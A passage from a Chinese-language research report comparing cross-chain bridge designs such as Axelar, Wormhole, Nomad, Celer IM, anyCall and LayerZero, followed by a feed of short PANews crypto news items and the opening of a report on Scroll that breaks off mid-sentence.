1）用户通过源链A的网关发起资产跨链申请，信息通过CTP（跨链传输协议）传到Axelar主网。 2）主网的验证者通过门限签名技术在源链A的对源链A上生成一个存款地址，用户将需要跨链的资产数量存入相应地址。 3）Axelar主网运行源链A轻节点客户端的验证者，验证源链A的区块信息，确认资产已经存入相应地址的信息后。 4）返回主网通过Dpos共识机制进行投票，验证者大于90%确认无误后。 5）节点运行目标链B的轻节点客户端再次通过门限签名技术对用户的目标链地址放款。 以上5步是资产在Axelar跨链的流程，至于数据跨链也是大致相同，但是数据跨链较为复杂，官方只是披露具备简单的信息传递，编者感觉其数据跨链可以实现相对静态的数据验证。举个例子，Cosmos链上的借贷平台想要知道你在以太坊上的借贷使用情况来判断你的信誉度，这种可以只要进行简单范围认证是否满足就可以实现。但是这种数据传输作用并没有那么大。相对来说，动态的数据传输可能没办法满足，举个例子，比如Cosmos上的借贷平台想要以Uni上的价格作为清算标准，通过Axelar的跨链网关协议和跨链传输协议来调用这个价格信息，但是这点其实相对比较难以实现，就算可以实现，也不具备时效性。毕竟传输需要时间，需要验证者投票验证。 头等仓观点：Axelar主网整体运作相对简单，流程较为清晰，作为跨链中转站主要是为Cosmos生态和EVM为主的生态跨链。Cosmos生态和EVM生态由于网络编程语言、密钥形式不同，并不能直接跨链。而Axelar网络采用Cosmos SDK底层搭建，本身就可以用IBC进行在Cosmos内部跨链，通过特定的API连接到在EVM形式区块链中的智能合约（网关），可以在中间起到一个转译的作用，将EVM的信息外壳包装为Cosmos需要的消息结构。从而实现两个网络的信息传递[26]。 5.2.2Wormhole[27] Wormhole（虫洞）是Solana与Certus.One合作开发的资产跨链工具，于2021年9月22日推出。Wormhole作为一个通用的消息传递协议，可以连接到多个链上，包括以太坊、Solana、Terra、BSC、Polygon、Avalanche、Oasis、Fantom等总计19条链。 运行逻辑： Wormhole的运行逻辑相对简单，这是一个由 19 个验证者管理的POS网络，其在所有连接的网络上部署了一个核心桥（Core Bridge）合约。Wormhole Guardians（监督者）为每个连接的链运行一个完整的节点，专门监听来自核心合约（Core Contracts）的任何消息。2/3及以上的监督者验证消息并签名，然后将此经过验证的消息中继到目标链，在目标链中处理消息并完成跨链交易。 与其他桥梁不同，Wormhole中的中继没有特殊的权限，它只是一个在Guardians网络和目标链之间传递信息的软件，并不是一个受信任的实体。 头等仓观点：需注意的是，Wormhole 19个验证者的模式相对中心化，而且目前只有18个验证者在运行，原FTX节点已退出[28]。此外，Wormhole 与 Jump Crypto、FTX 和Solana 生态系统有较为紧密的合作伙伴关系，受FTX暴雷事件影响，其未来发展可能遭受一定程度影响。 5.2.3Nomad[29] Nomad 是一个跨链通信协议，使用欺诈证明（类似Optimistic Rollups）进行跨链数据中继。 运行逻辑： Nomad使应用程序能够在区块链之间发送数据（包括Rollups），应用程序与Nomad核心合约互动，以排队发送消息，之后链外代理验证并在链之间运送这些消息。为了确保消息传递的安全性，Nomad使用了一种optimistic的验证机制，其灵感来自于基于防欺诈（fraud-proof）的设计，如optimistic rollups。 图5-2 Nomad运行流程[30] Nomad利用位于不同链上的两个合约地址（称为主合约和副本合约）以及四个接受激励的链下不同参与者，实现跨链发送消息。 以用户从以太坊向 Polygon 发送消息为例，具体简化流程如下： 1）以太坊上的用户首先会向以太坊上的主合约地址提交一条消息，主合约采集此消息并将其与接收到的其他消息一起放入Merkle树队列中。 2）此时，更新者（Updater）的链下参与者签署该消息组（Merkle树根）以更新主合约的状态。为了签署这些消息，更新者必须向主合约质押保证金，后续如果证明更新者有任何恶意行为，该保证金将被没收。 3）中继（Relayer）读取此根，并将其转发到目标链Polygon，然后发布到副本合约。 4）中继发布后，会打开一个 30 分钟的防欺诈窗口，在此期间，会有观察者（Watcher）监控以太上的主合约和 Polygon 上的副本合约，以确保所有消息都被正确记录和发送。假设观察者发现恶意行为，则可以证明欺诈并阻止数据通过。 5）如果在 30 分钟的窗口内观察者没有提交欺诈证明，Nomad跨链桥将假定消息已正确记录和发送。这时候处理者（Processor）将消息从Polygon副本合约传播到消息的最终接收者。 头等仓观点：Nomad 为跨链行业引入了一种新的机制：通过optimistic验证的桥，可以在设计空间中以延迟（或速度）换取安全性，在跨链桥领域引入新的权衡。整体上给人一种更“轻”的操作体验，最小信任假设（需要的信任假设更弱）、低成本等等，但代价就是存在持续约30分钟的欺诈证明延时。 基于这一缺陷，Nomad通过与等待跨链桥结算时提供临时流动性的解决方案合作——Nomad 与 Connext 合作[31]，在其等待期会激励Connext上的 LP 短期提供流动性。但实际上，Connext上的LP需要承担恶意交易的风险。此外，Nomad此前被盗1.9亿美元，虽然目前已重启，不过对于社区来说，对其信任度终究是打了折扣。 5.2.4Celer Inter-chain Message (IM)[32] Celer跨链消息（Celer Inter-chainMessage ，Celer IM）被设计为一种“即插即用”的跨链可组合性解决方案，用于构建跨链 dApp。 运行逻辑： 图5-3 Celer IM运行流程一[33] 1）用户向dApp发起交易 在Celer IM中，用户现在不是直接与现有的 dApp 智能合约交互，而是与新的 dApp 插件合约交互（上图流程 A），以表达他们执行跨链逻辑的意图。该 dApp 插件成为整个 dApp 业务逻辑的一部分，并可能与源链上现有的智能合约进行交互。这通常是用户为与该跨链 dApp 交互而发送的唯一交易。 2）dApp Plug-in 发送消息并关联跨链转账 在源链上完成必要的操作后，dApp 插件将产生的资金和相关消息发送到目标链（上图流程B、C）。如上图所示，Celer IM 插件合约将用户请求分为两部分：发送到 cBridge 的代币信息和发送到Message Bus的消息信息。 该消息指定需要在目标链上执行的操作。在DEX的例子中，它是 "将跨链的代币B换成代币C，并将代币C给用户"。通过简单地调用sendMessageWithTransfer，消息和资金转移被自动关联在一起。然后消息被发送到Message Bus contract，资金转移通过资产跨链桥发送，在该例中是cBridge。 3）State Guardian Network (SGN) 路由消息和跨链资金转移 首先我们需要先了解SGN是什么——SGN 是建立在Tendermint 上的PoS区块链，充当不同区块链之间的消息路由器。节点提供者必须质押 CELR 代币才能作为验证者加入 SGN 的共识过程。SGN 使用与 Cosmos 和Polygon PoS 链等 L1 区块链相同的安全机制。SGN的 CELR staking 和 slashing 机制都是在以太坊 L1 智能合约上实现的。 SGNStaking节点持续监控所有链上发生的交易。MessageBus和 cBridge 将信息中继到 SGN（流程D、E），在确认消息和代币传输都已在目标链上发生后，SGN 通过签名验证交易，将交易发送至cBridge合约（流程 F）并触发资金转移到目标链的dApp插件合约（流程 G）。 另一方面，验证者将首先就该消息的存在达成共识，并同时生成一个权益加权的多重签名证明。然后，该证明将存储在 SGN 链上，并等待通过订阅该消息（流程 H）的执行者（Executor）中继到目标链。 4）Executor执行跨链应用逻辑 执行者（Executor）的任务是从 SGN 区块链读取权益加权的多重签名证明，并将其简单地中继到目标链上的Message Bus（流程I）。执行者可以由任何人为任何应用程序运行，因为功能只是中继消息。 MessageBus的功能是检查已证明消息的有效性，并验证dApp 插件（流程 J）是否确实收到了相关付款。之后，将消息（逻辑执行指令）传递给dApp Plug-in合约，该合约将dApp的跨链业务逻辑托管在目的链（流程K）上。 dAppPlug-in 只需要实现 executeMessageWithTransfer接口即可。在 DEX 示例中，此函数将在目标链上执行“代币 B 到代币 C 的swap”。 此外，Celer IM并非一定要用资金转移来发送跨链信息或逻辑执行指令。以NFT市场为例，如果用户参加在不同链上进行的拍卖，他们只需要锁定他们的资金，无需将资产实际转移到目标链上，以便进行竞标。只有在他们赢得拍卖后，才需要进行资金转移。流程如下所示： 图5-4 Celer IM运行流程二 头等仓注：上述流程摘自官方发布的《Celer Inter-chain Message Framework: the Paradigm Shift for Buildingand Using Multi-blockchain dApps》，部分内容有所删减，详情可见原文（需科学上网）。 头等仓观点：cBridge 2.0的SGN作为公共流动性池后（2022.03），不想运营节点的用户也可以为 cBridge 提供流动性，可以更方便 Layer2 或者其他 Layer1 的项目方在 Celer 上提供流动性，这有利于加大 cBridge 的流动性深度。SGN 作为节点网关和仲裁者也有利于 Bridge 更好提供服务。结合cBridge 2.0的dashboard来看，其TVL在2022年3-4月的确是有一波快速的增长，但是随着5月份的LUNA事件以及后续的市场走熊，目前TVL已下降到1.5-2亿美元区间。 整体上，Celer IM的安全假设建立在其PoS链上，并且有两种安全模型：optimistic-rollup inspired（上述并未介绍，感兴趣的读者可以自行查阅） 和 L1-PoS-blockchain security，用户和开发者可以自由选择和设置。在安全性方面表现较好。此外，虽然cBridge经济模型较v1来看，已经有了不错的改进，但是也是由于其PoS机制，Celer IM 通过质押严重依赖 CELR。Celer IM 的用户必须向 SGN 支付 CELR 的费用，以用于达成跨链共识的服务。如果 CELR 代币价格大幅下跌，SGN 的安全性很可能也会下降[34]。 5.2.5Multichain 的 anyCall[35] anyCall是一个用于交换任意数据的通用跨链消息传递基础设施。它由一个智能合约系统和Multichain的SMPC网络，也就是安全多方计算的验证者网络组成。 运行逻辑： 在anyCall中，验证者网络可以访问不同链上的合约，并且在这些合约之间验证传递的信息，并完成信息的接收和传输，由此任何传输信息都会被发送到业务逻辑指定的目标链上，并触发后续实现业务逻辑的智能合约。具体流程如下： 1）dApp需要在链A（源链）上部署一个发送方合约，在链B（目标链）上部署一个接收方合约，在接收方合约上，需要有一个anyExecute函数，它将被调用。 2）当dApp发送消息，调用发送方合约时，anyCall 合约验证消息并将消息中继到目标链。 3）Multichain 的MPC 网络（由 24 个节点组成），负责对由 anyCall函数发送到 anyCall 合约的消息进行有效性检查。anyCall合约存在于所有受支持区块链的公共 MPC 地址中。当anyCall 函数发送消息时，MPC 节点在将消息发送到目标链之前确保消息的安全性。 4）验证通过后，anyExec 函数从 anyCall 合约接收消息并在目标链上执行请求。 头等仓观点：anyCall的信任假设几乎完全依托于Multichain的MPC网络，因此，用户需要信任节点不会作恶。机制方面相较于同类的AMBs可以说是较为简单，并且中心化程度较高。不过Multichain的规模长期处于所有跨链桥赛道的头部水平。需注意的是，Anyswap在迭代成Multichain前后，均遭受过黑客攻击。 上述我们列举了5种任意信息传递桥（AMBs），可以看出每种不同模式的跨链桥，各自的权衡也不尽相同。 Axelar、Wormhole 和Multichain 的 anyCall 都是采用外部验证的手段，通过自身PoS公链/网络来做见证人链进行任意两条公链的信息传递，好处是速度较快、费用较便宜，并允许在任意数量的目标链上与该数据进行交互，可以更容易连接到更多链。不过不足之处在于这种方式是以安全性为代价，需要用户/LP完全信任外部验证器的资金/数据，依赖于桥的安全性，而不是源链或目标链。 具体拆分下去也有区别，比如：在验证者许可性方面，Axelar 全网只允许 50 个验证者作为唯一的活动集，存入代币数量要排进前 50 才能成为正式验证者，不过任何用户都可以将其代币委托给相应的节点；在anyCall中，任何人都可以自己运行一个MPC节点；而在Wormhole中需要有权限的Guardians才能成为验证者。 CelerIM 架构由接收和发送消息的链上智能合约和Celer PoS网络的组合提供支持，虽然安全假设也是建立在其PoS链上，不过Celer IM有两种安全模型：optimistic-rollup inspired （只要仍然有一个应用程序监督者保持诚实和正常运行，恶意的跨链消息就不会被处理）和 L1-PoS-blockchain security，用户和开发者可以自由选择和设置。 Nomad使用欺诈证明（类似Optimistic Rollups）进行跨链数据中继，在跨链桥领域引入了新的权衡，在设计空间中以延迟（或速度）换取安全性。 此外，不同资金规模的用户对资金效率和安全系统的考量也不尽相同，各个桥着重的领域，都有相应的用户需求。整体上，目前的任意信息传递桥（AMBs）仍处于一个非常早期的阶段，目前难以直接将这些“桥”分个高下，只能说在不同维度各有各的优缺。 上述AMBs的对比，具体可以阅读由 LI.FI 团队成员 Arjun Chand 撰写的《Navigating ArbitraryMessaging Bridges: A Comparison Framework》[36]一文进行了解，该文已从多个维度对上述项目进行了详细的对比，因此本文不再做过多描述。 对比上述介绍的任意信息传递桥（AMBs），LayerZero与之较大的差异在于其无需在连接的链上运行节点，将验证链上信息传递的负担外包给第三方，例如预言机。这种方式，让协议早期更为轻巧，并且运营成本低。我们现在也看到了LayerZero凭借着自身的优势，在项目早期快速的扩张。 在LayerZero出现之后，为我们开启了另外一条不同的道路，即不仅仅是不断的优化桥的各种性能，而是将链从用户那里抽象出来。 具体来看，之前如果我们要在两条不同的链上进行资产迁移，那么都需要先到第三方跨链桥的UI，将我们的资产跨到目标链，但是在很多时候，跨链桥并不支持我们手中的山寨币跨链，这时我们往往还需要额外的多进行几次swap，才能成功的将资产迁移到目标链上，在操作层面略显繁琐。 而基于LayerZero所构建的Stargate，其核心是让目前的Dapp（如：Uniswap、Sushi此类的DEX）去集成跨链桥协议，然后用户就可以直接通过目前使用的Dapp完成资产的调度、跨链。 比如 SushiSwap 部署在18条链上，如何全局共享一个状态，是比较困难的，如果利用之前的方案，每两个链之间都需要部署一个桥，但是利用 LayerZero 协议的话，只需要通过每个链的 Endpoint 就可以共享全局的状态[37]。 举个例子来说，SushiSwap集成了Stargate后，这时候用户想要将以太坊上的wBTC换成Polygon上的MATIC，在这种情况下，用户可以通过在源链上的单个交易中执行次操作，而无需离开SushiSwap UI。这为SushiSwap、Uniswap等多链Dapp提供了规范化的体验。该点在编者看来是非常理想的跨链方式，极大的改进了目前用户资产跨链的易用性。 那么LayerZero的解决方案就比其他的AMBs来的更好吗？——也不尽然，LayerZero协议的安全性目前仍有待市场验证，而像Axelar、CelerIM这类桥，从头开始搭建一座桥虽然成本高、周期长，不过一定程度上他们也具有更持久的扩展基础和更大的价值累积。Nomad要是没遭遇黑客攻击，其在欺诈证明基础上特有的改进，现在是否会被市场广泛采纳？ 总结： 纵观近两年跨链桥赛道的发展脉络，可以看到一条清晰的主线，就是大多数跨链桥项目都是围绕着如何建设更加“健壮的桥”而不断发展着，归根结底也就是如何更好的实现3个要素：安全、无缝、快速。目前赛道仍在不断演化，未来到底谁能成为多链的首选解决方案，才刚拉开序幕。 写在最后，虽然LayerZero具有很强的叙事性，但目前也还有很多细则没有披露完善，相应的也存在着一定的风险（详见产品部分）。而且LayerZero通过预言机和中继传输信息，从而实现跨链的概念，此前Chainlink 发布的跨链互操作性协议 CCIP也早已涉及，从已有的消息显示其未来可能成为LayerZero的有利竞争者。不过CCIP概念在推出后已经销声匿迹了很长一段时间，白皮书也暂未发布，其开发人员似乎一直在埋头开发。关于Chainlink CCIP与LayerZero的对比，此前Pickle和Aylo（笔名）已经做出了较为完善的总结，因此本文不做过多描述，详情可以查阅该文章。 LayerZero的安全性未经充分验证，预言机和中继者彼此之间需要独立运行的信任假设有待商榷，中继机制背后的安全隐患等问题仍需警惕。详情可见上述产品部分 2.4.2 安全性 章节。 LayerZero经济模型暂未推出，仍有待后续进一步观察。 — END — [1]https://ised-isde.canada.ca/cc/lgcy/fdrlCrpDtls.html?lang=eng&corpId=13558479 [2]https://www.linkedin.com/company/layerzerolabs/ [3]https://twitter.com/0xMaki [4]https://www.binance.com/en/blog/ecosystem/binance-labs-and-multicoin-capital-coled-$6m-series-a-for-layerzero-421499824684902766 [5]https://www.forbes.com/sites/ninabambysheva/2022/03/30/sequoia-ftx-ventures-and-a16z-lead-135-million-investment-in-crypto-firm-breaking-down-barriers-between-blockchains/?sh=70867b796094 [6]https://multicoin.capital/2022/03/30/building-bridges/ [7]https://www.theblock.co/post/148576/layerzero-labs-seeks-backing-that-would-triple-its-valuation-to-3-billion [8]https://twitter.com/PrimordialAA/status/1590764525875499008 [9]https://github.com/LayerZero-Labs [10]《LayerZero Update: Summer 2022》，Ryan Zarick，https://medium.com/layerzero-official/layerzero-update-summer-2022-1b0b4a8a97b5 [11]https://layerzero.network/pdf/LayerZero_Whitepaper_Release.pdf [12]Receipts Root存储的是交易回执内容，Receipt本身记录交易是否在block被成功执行。 [13]https://ethbook.abyteahead.com/ch4/mpt.html [14]https://medium.com/layerzero-official/introducing-pre-crime-49bef4a581d5 [15]https://mp.weixin.qq.com/s/qcqK7NDPtzy6fTY_0sNZGA [16]User Application (UA) 是任何使用LayerZero在区块链之间发送和接收信息的合约。 [17]https://dune.com/haechi_research/layerzero-and-stargate [18]https://defillama.com/bridges [19]https://stargateprotocol.gitbook.io/stargate/v/user-docs/tokenomics/protocol-fees [20]https://stargate.finance/overview [21]https://tokenterminal.com/terminal/projects/stargate [22]https://layerzero.gitbook.io/docs/evm-guides/code-examples/estimating-message-fees [23]https://medium.com/1kxnetwork/blockchain-bridges-5db6afac44f8 [24]https://blog.li.fi/navigating-arbitrary-messaging-bridges-a-comparison-framework-8720f302e2aa [25]https://axelar.network/ [26]《Axelar调研报告》，头等仓 [27]https://wormhole.com/ [28]https://wormhole.com/network/ [29]https://www.nomad.xyz/ [30]https://blog.connext.network/connext-has-partnered-with-nomad-e20cd8e62e31 [31]https://blog.connext.network/optimistic-bridges-fb800dc7b0e0 [32]https://www.celer.network/ [33]https://blog.celer.network/2022/01/12/celer-inter-chain-message-framework-the-paradigm-shift-for-building-and-using-multi-blockchain-dapps/ [34]https://blog.li.fi/navigating-arbitrary-messaging-bridges-a-comparison-framework-8720f302e2aa [35]https://docs.multichain.org/developer-guide/anycall-v7 [36]https://blog.li.fi/navigating-arbitrary-messaging-bridges-a-comparison-framework-8720f302e2aa [37]https://medium.com/layerzero-official/layerzero-an-omnichain-interoperability-protocol-b43d2ae975b6 参考资料: LayerZero官方资料： LayerZero白皮书，https://layerzero.network/pdf/LayerZero_Whitepaper_Release.pdf 官方文档，https://layerzero.gitbook.io/docs 团队领英，https://www.linkedin.com/company/layerzerolabs/ LayerZero Labs Canada Inc.公司注册信息，https://ised-isde.canada.ca/cc/lgcy/fdrlCrpDtls.html?lang=eng&corpId=13558479 融资信息，1）https://www.binance.com/en/blog/ecosystem/binance-labs-and-multicoin-capital-coled-$6m-series-a-for-layerzero-421499824684902766；2）https://www.forbes.com/sites/ninabambysheva/2022/03/30/sequoia-ftx-ventures-and-a16z-lead-135-million-investment-in-crypto-firm-breaking-down-barriers-between-blockchains/?sh=70867b796094；3）https://multicoin.capital/2022/03/30/building-bridges/ 团队财库信息，https://twitter.com/PrimordialAA/status/1590764525875499008 GitHub，https://github.com/LayerZero-Labs 《LayerZero Update: Summer2022》，Ryan Zarick，https://medium.com/layerzero-official/layerzero-update-summer-2022-1b0b4a8a97b5 《Introducing: Pre-Crime》，Ryan Zarick，https://medium.com/layerzero-official/introducing-pre-crime-49bef4a581d5 《Cobo安全團隊解讀：Stargate 跨鏈橋的底層協議 LayerZero 重大安全漏洞》， Cobo Global，https://mp.weixin.qq.com/s/qcqK7NDPtzy6fTY_0sNZGA 《Layer 0 Wars: LayerZero vsChainlink's CCIP》，Pickle and Aylo，https://alphapls.substack.com/p/chainlink-ccip-layerzero-wars-crypto-web3?s=w DeFiLlama跨链桥dashboard，https://defillama.com/bridges Stargate Finance dashboard，https://stargate.finance/overview Stargate Finance 官方文档，https://stargateprotocol.gitbook.io/stargate/v/user-docs/ 《Blockchain Bridges:Building Networks of Cryptonetworks》， Dmitriy Berenzon，https://medium.com/1kxnetwork/blockchain-bridges-5db6afac44f8 《Navigating ArbitraryMessaging Bridges: A Comparison Framework》，Arjun Chand，https://blog.li.fi/navigating-arbitrary-messaging-bridges-a-comparison-framework-8720f302e2aa 《LayerZero- An OmnichainInteroperability Protocol》，Ryan Zarick，https://medium.com/layerzero-official/layerzero-an-omnichain-interoperability-protocol-b43d2ae975b6 Wormhole、Nomad、Celer Inter-chain Message (IM)、Multichain 的 anyCall和 Axelar协议各自对应的官方文档  ( 16 min )
    Messari创始人：将带头发起一场耗资1亿美元的支持加密行业的政治运动
    PANews 4月19日消息，Messari创始人Ryan Selkis发推文称：“在接下来的18个月里，我将帮助带头发起一场耗资1亿美元、多实体参与的、支持加密行业的政治运动。我正在把我的时间、精力和金钱投入到我说到做到的事情上。” 此前2月消息，Ryan Selkis针对Paxos监管危机评论称，誓要结束Gary Gensler的政治生涯。  ( 1 min )
    Coinbase今日在英国《金融时报》刊登广告，呼吁采用加密货币
    PANews 4月19日消息，Coinbase首席执行官Brian Armstrong在推特上表示，Coinbase今日在英国《金融时报》刊登了题为《It's Time to Update the System（是时候更新系统了）》的平面广告，指出6项采用加密货币的原因，包括加密技术可以帮助更新老化的金融基础设施，为客户提供更多的金融自由，为机构提供推动创新的新工具等。 此前昨日消息，Coinbase在博客文章中表示，英国可以成为“Web3经济的创新中心”。Brian Armstrong表示，如果加密行业的监管不明确，Coinbase可能会考虑搬离美国。  ( 1 min )
    盘点5个热门赛道早期协议：Fuel、Celestia、Taiko、EigenLayer和Linea
    区块链测试网是区块链系统中的一个重要组成部分。简单理解，测试网模拟了主网的运行环境，在部署主网之前，开发人员和用户可以在测试网中测试新的应用程序和协议，以确保它们的稳定和可靠，并基于其在测试网产生的数据对应用程序和协议进行优化。 一个反面示例是 Gemholic 仅在 BNB Chain 测试网中进行了测试，便部署在了 zkSync 上，结果导致合约锁定了 921 枚 ETH 的募集资金。BNB Chain 测试网与 zkSync 主网并不具备等效性，因此导致了合约问题。这也反向验证了测试网的重要性——虽然进行的交易和数据都不会被记录在测试网区块链上，但测试网对于区块链的发展至关重要。 接下来，我将会为大家介绍几个正处于测试网阶段的项目，并基于 Sui 项目方的动作聊聊我对于参与测试网的看法。 Fuel 是一个基于以太坊建立的扩容方案，它的定位是一个模块化执行层。Fuel 于 3 月 20 日推出了第三个公共测试网，旨在测试其 P2P 网络和同步全节点的能力。 与其他扩容方案类似，它希望建立一个高速、低成本的去中心化网络。 但与其他 Rollup 不同的是，Fuel 建立了一个全新的虚拟机架构，即 FuelVM。在 Solidity 和 Move 语言的基础上，FuelVM 推出了 Sway 语言，专门用来执行智能合约，并且并行处理交易——这也是它实现高吞吐量的原因。 另外一个值得关注的点是 Fuel 被设计成了易于防欺诈的 Layer2，它也可以成为 Optimistic Rollup 交易执行层，未来也可以作为其他 Layer1 的交易执行层，比如模块化数据可用性层 Celestia。 参与地址：https://fuel-labs.ghost.io/announcing-beta-3-testnet/ Celestia 是一个基于 Cosmos SDK 打造的模块化数据可用性层，仅验证数据可用性和交易排序，目前正处于测试网阶段。 与 Fuel 不同的是，Celestia 充当的角色是 Layer1 负责验证数据可用性和交易排序的部分。 模块化的设计让 Celestia 拥有了极大的灵活性和可组合性：Celestia 可以只充当数据可用性层，也可以既充当数据可用性层又负责交易排序。即 Rollups 既可以采用 Celestia 作为自身的数据可用性层，和负责交易排序，也可以将 Celestia 接入以太坊这样的 Layer1 中，只负责数据可用性。用更加形象的话来讲便是开发者可以将 Celestia 接入到以太坊中，从而变相地为以太坊扩容。 参与地址：https://docs.celestia.org/ Taiko 是由 Loopring 创始人王东建立的一个基于以太坊构建的 ZkRollup 解决方案。Taiko 已于 3 月 23 日推出了 ZK-EVM alpha-2 测试网「Askja」。4 月 17 日，Taiko 将弃用 alpha-2 测试网，并同步推出 alpha-3 测试网，以实施修复、改进和新组件的工作。 Taiko 采用 ZKP 技术，关注的是其运行环境与以太坊虚拟机的等效性，并在架构设计中优先考虑其 ZkRollup 的去中心化。与其他 Layer2 的形式和目标一致，Taiko 将通过在链下执行、聚合和证明交易来扩展以太坊的性能。 参与地址：https://taiko.xyz/docs/guides EigenLayer 是一个基于以太坊再质押协议。4 月 7 日，EigenLayer 在以太坊 Goerli 网络上发布了第一阶段的测试网。需要注意，据官方说法，该测试网是早期的非激励性测试网。 EigenLayer 允许 ETH 质押者将他们的 ETH 重新质押到新的智能合约中，通过质押 ETH 来保护其他网络的安全，比如侧链、跨链桥以及中间件当中。 EigenLayer 模式的优势在于： 1、增加ETH质押者的收益渠道，即增加质押者的资本效率； 2、通过数据可用性产品 EigenDA 提升以太坊的网络带宽； 3、对 ETH 代币本身是一种新的赋能； 4、降低以太坊生态协议的运营门槛，推动生态的进一步发展。 参与地址：https://goerli.eigenlayer.xyz/ Linea 是一个由 ConsenSys 推出的 zkEVM 扩展，目前已经推出测试网。 Linea 主打的是与 EVM 的等效性，这意味着开发者可以无缝将应用迁移至 Linea 网络上。与其他 zkRollup 方案类似，Linea 可以将许多合约交易打包成一个交易，以此提高交易吞吐量和降低交易费用。另外一个值得一提优势是 Metamask 对于 Linea 的支持和集成。 参与地址：https://goerli.linea.build/ 为什么加密用户热衷于参与测试网测试？ 本质原因是他们拥有着对该项目未来空投的预期。而 Sui 没有向早期支持者提供代币空投的行为，极大地伤害了早期测试网参与者。 在这其中，我们不能一视同仁地将空投猎人的涌入视作是行业的毒瘤，他们在参与的同时也为测试网提供了丰富且宝贵的数据——这对于优化协议产品起到了正面的作用。而 Sui 的做法反而促使更多人不再去热衷于参与测试网。 因此，在未来，为了吸引更多的参与者，协议方可能需要明确表明「测试网的激励部分」。  ( 3 min )
    彭博社：ChatGPT已可应用于金融领域，解读美联储声明并预测股价
    PANews 4月19日消息，据彭博社报道，将ChatGPT应用于金融领域的第一波学术研究即将到来。在本月发表的两篇新论文显示，ChatGPT已可解读美联储声明中的鹰派或鸽派立场，并可根据头条新闻预测股价走势。ChatGPT甚至能够以一种类似于央行分析师的方式解释其对美联储政策声明的分类，后者也将语言解释为该研究的人类基准。 同时，研究发现，ChatGPT根据新闻标题预测的股价后续走势与统计数据有关，表明该技术能够正确分析消息的含义。这两篇新论文表明，ChatGPT甚至可以在没有经过专门培训的情况下完成类似的任务。  ( 1 min )
    MetaMask：大规模钱包被盗并非源于MetaMask漏洞，正调查此漏洞来源
    PANews 4月19日消息，Web3钱包MetaMask今日在推特上表示，近期@tayvano_的推文错误地声称大规模钱包被盗是MetaMask漏洞的结果，这是不正确的。关于 5,000枚ETH从MetaMask被盗的说法是不正确的。数据显示5000枚ETH从11个区块链的不同地址被盗。MetaMask安全团队正在与Web3钱包领域的其他方合作，研究此漏洞利用的来源。与往常一样，请用户注意离线安全地存储助记词，并将更多的加密货币存储在硬件钱包中。 此前昨日消息，慢雾称，没有直接证据证明MetaMask存在大规模泄漏。  ( 1 min )
    美国多位议员要求SEC检讨其加密监管方式并对Gary Gensler追责
    PANews 4月19日消息，据推特用户@JinzeJiang0x0的推文，美国SEC主席Gary Gensler今日众议院听证会直播40分钟后开始，在预先公布的证词中，他表示，“加密市场的任何内容都不符合证券法”，因为大多数加密货币都是证券。几乎所有议员态度上都pro Crypto，批评现行的针对性执法和对行业的负面指控，并且潜台词要Sec首先明确监管框架，让加密企业尽量聚拢在美国。除了Gensler没人提到加密货币高度投机属性带来的风险。Gensler在多次逼问下也不愿意亲口说包括ETH在内哪些币是证券，尽管SEC起诉书里指控了ETH、TRX、DASH、ALGO在内的一堆币是证券，看起来他知道这话题会惹争议不想往坑里跳。 多位议员批评Gensler和SEC在FTX和LUNA上的监管不力，并认为现在SEC现在对在岸且愿意合规的Coinbase和Paxos等监管过严，反而对离岸‘跳得欢’的那些监管过松。导致美国投资人和企业双输，要求SEC检讨并对Gensler追责。一位议员说，保护投资者应该让投资人自己选择，不是你说这东西风险高就替投资人做判断。一位议员讽刺Gensler都没持有过币怎么就能一棒子打死加密货币。 此前今日早些时候消息，美国SEC主席拒绝明确回应ETH属于商品还是证券。  ( 1 min )
    Lido社区正对“接收ARB空投代币”提案进行投票，目前支持率为100%
    PANews 4月19日消息，Snapshot投票页面显示，Lido社区正对“接收ARB空投代币”的提案进行投票，该投票将于4月22日结束，目前支持率为100%。 该提案主要内容包括：1：确认Arbitrum基金会将772,621枚ARB空投给Lido，reWARDS委员会有权使用申领ARB代币。2.reWARDS委员会将在Arbitrum One网络上创建一个新的多重签名钱包，用于接收ARB代币。3.将在未来4-6个月内通过激励，增加在Arbitrum生态系统中采用wstETH来质押。4.提议使用月度报告，以确保Lido DAO社区了解该计划的进展情况。  ( 1 min )
    Coinbase将Sperax（SPA）列入上币路线图
    PANews 4月19日消息，Coinbase Assets发推表示，已将Sperax（SPA）列入上币路线图。 Sperax (SPA) 的Arbitrum网络（ERC-20代币）合约地址是 0x5575552988a3a80504bbaeb1311674fcfd40ad4b。  ( 1 min )
    ZK二层网络Scroll调研：为何备受以太坊社区关注？
    原文：《项目调研丨ZK赛道潜力项目Scroll研究报告》 编辑：YuanShan@Web3CN.Pro 一、项目简介 二、项目愿景 三、特色和优势 四、发展历史 五、团队背景 六、融资信息 七、发展成果 八、经济模型 九、基本面分析 十、风险与机遇   一、项目简介 Scroll是以太坊上基于zkEVM的zkRollup，作为Layer 2解决方案用于解决以太坊的拥堵问题。Scroll创立于2021年，致力于创建一个 EVM（以太坊虚拟机）等效的 zk-Rollup，以实现更好的兼容性。 让平台完全去中心化且由社区所有是Scroll项目看重的地方，从这个理念出发，Scroll的愿景即是： 对全球大多数人来说，以太坊市场的现状是高风险应用程序（如DeFi和NFT交易）正在挤占非金融应用程序，这样一来导致资本更少的普通用户无法进入其中。而Scroll正在做的事是利用ZK技术的潜力增加交易吞吐量并显著降低费用，以释放新用户和应用程序的潜力。通过扩展区块链规模为数十亿用户提供服务。 例如，Scroll通过构建等效EVM（以太虚拟机）允许现有应用程序和开发者进行工具迁移而无需进行深入修改或重写；添加实验性功能扩展EVM，使用户体验更丰富。 基于完全去中心化的愿景，Scroll的设计初衷即是以社区为中心并完全采用开源方式构建。“我们认为这样重要的技术应该向所有人开放，以便进行理解和审计。在构建一个可以定义金融资产所有权的平台时，能够公开审计和验证代码的能力至关重要。”这样的设计将会带来更安全和设计更好的Scroll系统。 另外，开源和开放性也为Scroll带来了本质上的信任水准，任何人都可以查看项目的进展情况，项目也始终对社区负责并保持透明度。 在构建更大规模的区块链可扩展性的同时，Scroll团队认为保留以太坊核心属性——去中心化和抗审查是至关重要的。它们作为Scroll的最终目标，旨在实现与基础层以太坊相同水平的去中心化和抗审查。 最后，在官方博客中，Scroll团队表示他们的最终愿景是推动以太坊扩展到“zk-SNARK everything”。 由于Scroll致力于创建一个 EVM（以太坊虚拟机）等效的 